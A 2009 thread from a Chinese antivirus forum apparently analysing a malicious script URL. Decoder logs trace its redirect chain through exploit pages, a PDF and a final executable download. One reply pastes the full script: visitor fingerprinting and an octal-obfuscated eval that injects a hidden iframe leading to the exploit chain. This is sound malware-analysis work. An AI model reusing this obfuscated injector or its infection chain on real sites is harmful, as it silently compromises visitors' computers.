查看: 3064|回复: 14
收起左侧

[已鉴定] http://00ad.3322.org/32.js

[复制链接]
Micropoint
发表于 2009-8-11 14:12:31 | 显示全部楼层 |阅读模式
无聊
关于:hxxp://00ad.3322.org/32.js解密的日志(全体输出 -  25):

Level  0>http://00ad.3322.org/32.js
Level  1>http://125896.8866.org/kuaile789/1.htm
Level  2>http://f3jiy.cn/x17/xx.html
Level  3>http://f3jiy.cn/x17/yut.htm
Level  4>http://f3jiy.cn/x17/of.htm
Level  5>http://f3jiy.cn/x17/of1.css
Level  5>http://f3jiy.cn/x17/of.js
Level  6>http://d.nkwxs.com/xx/x17.css  ●
Level  4>http://f3jiy.cn/x17/ytfl.htm
Level  3>http://f3jiy.cn/x17/dxxz.htm
Level  4>http://f3jiy.cn/x17/092.js
Level  4>http://f3jiy.cn/x17/091.js
Level  5>http://d.nkwxs.com/xx/x17.css  ●
Level  3>http://f3jiy.cn/x17/yt.htm
Level  4>http://f3jiy.cn/go3.jpg
Level  4>http://f3jiy.cn/go4.jpg
Level  4>http://f3jiy.cn/go2.jpg
Level  4>http://f3jiy.cn/go.jpg
Level  4>http://f3jiy.cn/go1.jpg
Level  5>http://d.nkwxs.com/xx/x17.css  ●
Level  3>http://f3jiy.cn/x17/td14.htm
Level  4>http://f3jiy.cn/x17/16.js
Level  4>http://f3jiy.cn/x17/15.js
Level  4>http://f3jiy.cn/x17/14.js
Level  5>http://d.nkwxs.com/xx/x17.css  ●

日志由 Redoce2.0第24次修正版于 2009-8-11 14:11:30 生成。
zlm66zlm
头像被屏蔽
发表于 2009-8-11 14:58:52 | 显示全部楼层
这是什么网阿  我上去咋这样
document.writeln("<base onmouseover=\"window.status=\'完成                                                     \';return true\">");
document.write("<style type=\"text/css\">")
document.write("#seraph{v:expression(this.width=0,this.height=0) }")
document.write("<\/style>")
function y_gVal(iz)
{var endstr=document.cookie.indexOf(";",iz);if(endstr==-1) endstr=document.cookie.length;return document.cookie.substring(iz,endstr);}
function y_g(name)
{var arg=name+"=";var alen=arg.length;var clen=document.cookie.length;var i=0;var j;while(i<clen) {j=i+alen;if(document.cookie.substring(i,j)==arg) return y_gVal(j);i=document.cookie.indexOf(" ",i)+1;if(i==0) break;}return null;}
function cc_k()
{var y_e=new Date();var y_t=93312000;var yesvisitor=1000*36000;var yesctime=y_e.getTime();y_e.setTime(y_e.getTime()+y_t);var yesiz=document.cookie.indexOf("cck_lasttime");if(yesiz==-1){document.cookie="cck_lasttime="+yesctime+"; expires=" + y_e.toGMTString() +  "; path=/";document.cookie="cck_count=0; expires=" + y_e.toGMTString() +  "; path=/";return 0;}else{var y_c1=y_g("cck_lasttime");var y_c2=y_g("cck_count");y_c1=parseInt(y_c1);y_c2=parseInt(y_c2);y_c3=yesctime-y_c1;if(y_c3>yesvisitor){y_c2=y_c2+1;document.cookie="cck_lasttime="+yesctime+"; expires="+y_e.toGMTString()+"; path=/";document.cookie="cck_count="+y_c2+"; expires="+y_e.toGMTString()+"; path=/";}return y_c2;}}
var yesdata;
yesdata='&refe='+escape(document.referrer)+'&location='+escape(document.location)+'&color='+screen.colorDepth+'x&resolution='+screen.width+'x'+screen.height+'&returning='+cc_k()+'&language='+navigator.systemLanguage+'&ua='+escape(navigator.userAgent);
var seraph;
if (seraph==null)
{
seraph=1;
eval('\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\61\62\65\70\71\66\56\70\70\66\66\56\157\162\147\57\153\165\141\151\154\145\67\70\71\57\61\56\150\164\155\40\167\151\144\164\150\75\61\64\63\40\150\145\151\147\150\164\75\64\63\40\151\144\75\47\163\145\162\141\160\150\47\76\74\57\151\146\162\141\155\145\76\42\51');
document.write('<iframe MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=http://count27.51yes.com/sa.aspx?id=278116558'+yesdata+' height=0 width=0></iframe>');
}
尤金卡巴斯基
发表于 2009-8-11 22:26:28 | 显示全部楼层
2009-08-11_222541.png    2009-08-11_222549.png
lingbo110120
发表于 2009-8-11 22:28:21 | 显示全部楼层
2009-08-11_222758.png

2009-08-11_222854.png
天涯浪子1988
发表于 2009-8-11 23:39:05 | 显示全部楼层

回复 2楼 zlm66zlm 的帖子

这是个js脚本
Hopesky
发表于 2009-8-12 13:48:27 | 显示全部楼层

回复 1楼 Micropoint 的帖子

我想说....现在不挂了哈~
250662772
发表于 2009-8-12 13:55:35 | 显示全部楼层
关于:hxxp://00ad.3322.org/32.js解密的日志(全体输出 -  2):

Level  0>http://00ad.3322.org/32.js
Level  1>http://t53f.cn/4/ads.html
Micropoint
 楼主| 发表于 2009-8-12 14:07:03 | 显示全部楼层

回复 7楼 250662772 的帖子

关于:hxxp://00ad.3322.org/32.js解密的日志(全体输出 -  7):

Level  0>http://00ad.3322.org/32.js
Level  1>http://t53f.cn/4/ads.html
Level  2>http://t53f.cn/4/search.htm
Level  3>http://t53f.cn/4/music.js
Level  3>http://t53f.cn/4/google_adx.js
Level  3>http://t53f.cn/4/google_ads.js
Level  3>http://t53f.cn/4/google_ad.js


日志由 Redoce2.0第24次修正版于 2009-8-12 14:06:18 生成。
Hopesky
发表于 2009-8-12 14:14:10 | 显示全部楼层

回复 8楼 Micropoint 的帖子

那个decoder遇到sf.pdf照样挂~

[ 本帖最后由 liujiehua 于 2009-8-12 14:15 编辑 ]
fantrasive
发表于 2009-8-12 14:19:57 | 显示全部楼层

回复 9楼 liujiehua 的帖子


关于:hxxp://00ad.3322.org/32.js解密的日志(全体输出 -  10):

Level  0>http://00ad.3322.org/32.js
Level  1>http://t53f.cn/4/ads.html
Level  2>http://t53f.cn/4/search.htm
Level  3>http://t53f.cn/4/music.js
Level  4>http://t53f.cn/4/sfpf.htm
Level  5>http://t53f.cn/4/sf.pdf
Level  6>http://x.52av.biz/4.exe  ●
Level  3>http://t53f.cn/4/google_adx.js
Level  3>http://t53f.cn/4/google_ads.js
Level  3>http://t53f.cn/4/google_ad.js

日志由 Redoce2.0第24次修正版于 2009-8-12 14:19:12 生成。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-2 07:00 , Processed in 0.125331 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表